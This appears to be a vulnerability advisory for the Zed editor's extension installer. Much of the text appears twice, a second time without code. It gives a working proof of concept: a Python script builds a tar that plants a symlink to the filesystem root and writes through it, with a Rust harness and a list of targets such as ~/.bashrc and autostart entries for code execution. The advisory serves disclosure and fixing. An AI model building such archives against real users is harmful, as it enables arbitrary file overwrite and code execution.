Summary
Zed's extension installer allows tar/gzip downloads. The tar extractor (async_tar::Archive::unpack) creates symlinks from the archive without validation, and the path guard (writeable_path_from_extension) only performs lexical prefix checks without resolving symlinks.
An attacker can ship a tar that first creates a symlink inside the extension workdir pointing outside (e.g., escape -> /), then writes files through the symlink, causing writes to arbitrary host paths. This escapes the extension sandbox and enables code execution.
Vulnerable Code Paths
-
crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs:1030-1091 — download_file with DownloadedFileType::GzipTar calls fs.extract_tar_file
-
crates/fs/src/fs.rs:562-568 — extract_tar_file calls async_tar::Archive::unpack with no path or symlink validation
-
crates/extension_host/src/wasm_host.rs:724-731 — Path guard writeable_path_from_extension only does lexical prefix checks; it doesn't canonicalize, so symlinks planted in the workdir are followed
PoC
1. Create malicious tar that plants a symlink and writes through it
import tarfile
import io
import os
os.makedirs("/tmp/zed-tar-symlink", exist_ok=True)
tar_path = "/tmp/zed-tar-symlink/evil.tar"
with tarfile.open(tar_path, "w") as tar:
# Symlink inside workdir pointing to filesystem root
link = tarfile.TarInfo("evil/escape")
link.type = tarfile.SYMTYPE
link.linkname = "/"
tar.addfile(link)
# File entry that writes via the symlink to /tmp/zed_tar_symlink.txt
data = b"owned_tar_symlink\n"
f = tarfile.TarInfo("evil/escape/tmp/zed_tar_symlink.txt")
f.size = len(data)
tar.addfile(f, io.BytesIO(data))
print(f"wrote {tar_path}")
2. Harness using same extractor pattern as fs::extract_tar_file
src/main.rs:
use std::path::Path;
use async_std::{fs::File, io::BufReader, task};
use async_tar::Archive;
fn main() {
task::block_on(async {
let dest = Path::new("/tmp/zed-tar-symlink/dest"); // mimics extension workdir
std::fs::create_dir_all(dest).unwrap();
let f = File::open("/tmp/zed-tar-symlink/evil.tar").await.unwrap();
Archive::new(BufReader::new(f)).unpack(dest).await.unwrap();
});
}
Cargo.toml:
[package]
name = "zed-tar-symlink-poc"
version = "0.1.0"
edition = "2021"
[dependencies]
async-std = { version = "1", features = ["attributes"] }
async-tar = "0.4"
3. Run the harness
cd /tmp/zed-tar-symlink
cargo run
4. Observe file written outside destination (escaped via symlink)
ls -l /tmp/zed_tar_symlink.txt
# => exists, even though dest was /tmp/zed-tar-symlink/dest
Impact
A tar delivered to the extension installer can plant a symlink and then write arbitrary files anywhere the user can write, escaping the extension sandbox and enabling RCE:
- Overwrite
~/.bashrc, ~/.zshrc, ~/.zprofile → code execution on next terminal
- Write to
~/.config/autostart/ → code execution on next login
- PATH hijack via
~/.local/bin/
- Modify git hooks, SSH config, etc.
Recommended Fix
- Reject symlinks in tar archives or validate their targets stay within the destination
- Canonicalize paths in
writeable_path_from_extension before prefix checks
- Use
unpack_in() with path validation instead of raw unpack()
// Before writing each entry:
let canonical = entry_path.canonicalize()?;
let dest_canonical = dest.canonicalize()?;
if !canonical.starts_with(&dest_canonical) {
return Err("Path escapes destination");
}
Patches
Summary
Zed's extension installer allows tar/gzip downloads. The tar extractor (
async_tar::Archive::unpack) creates symlinks from the archive without validation, and the path guard (writeable_path_from_extension) only performs lexical prefix checks without resolving symlinks.An attacker can ship a tar that first creates a symlink inside the extension workdir pointing outside (e.g.,
escape -> /), then writes files through the symlink, causing writes to arbitrary host paths. This escapes the extension sandbox and enables code execution.Vulnerable Code Paths
crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs:1030-1091—download_filewithDownloadedFileType::GzipTarcallsfs.extract_tar_filecrates/fs/src/fs.rs:562-568—extract_tar_filecallsasync_tar::Archive::unpackwith no path or symlink validationcrates/extension_host/src/wasm_host.rs:724-731— Path guardwriteable_path_from_extensiononly does lexical prefix checks; it doesn't canonicalize, so symlinks planted in the workdir are followedPoC
1. Create malicious tar that plants a symlink and writes through it
2. Harness using same extractor pattern as
fs::extract_tar_filesrc/main.rs:
Cargo.toml:
3. Run the harness
cd /tmp/zed-tar-symlink cargo run4. Observe file written outside destination (escaped via symlink)
ls -l /tmp/zed_tar_symlink.txt # => exists, even though dest was /tmp/zed-tar-symlink/destImpact
A tar delivered to the extension installer can plant a symlink and then write arbitrary files anywhere the user can write, escaping the extension sandbox and enabling RCE:
~/.bashrc,~/.zshrc,~/.zprofile→ code execution on next terminal~/.config/autostart/→ code execution on next login~/.local/bin/Recommended Fix
writeable_path_from_extensionbefore prefix checksunpack_in()with path validation instead of rawunpack()Patches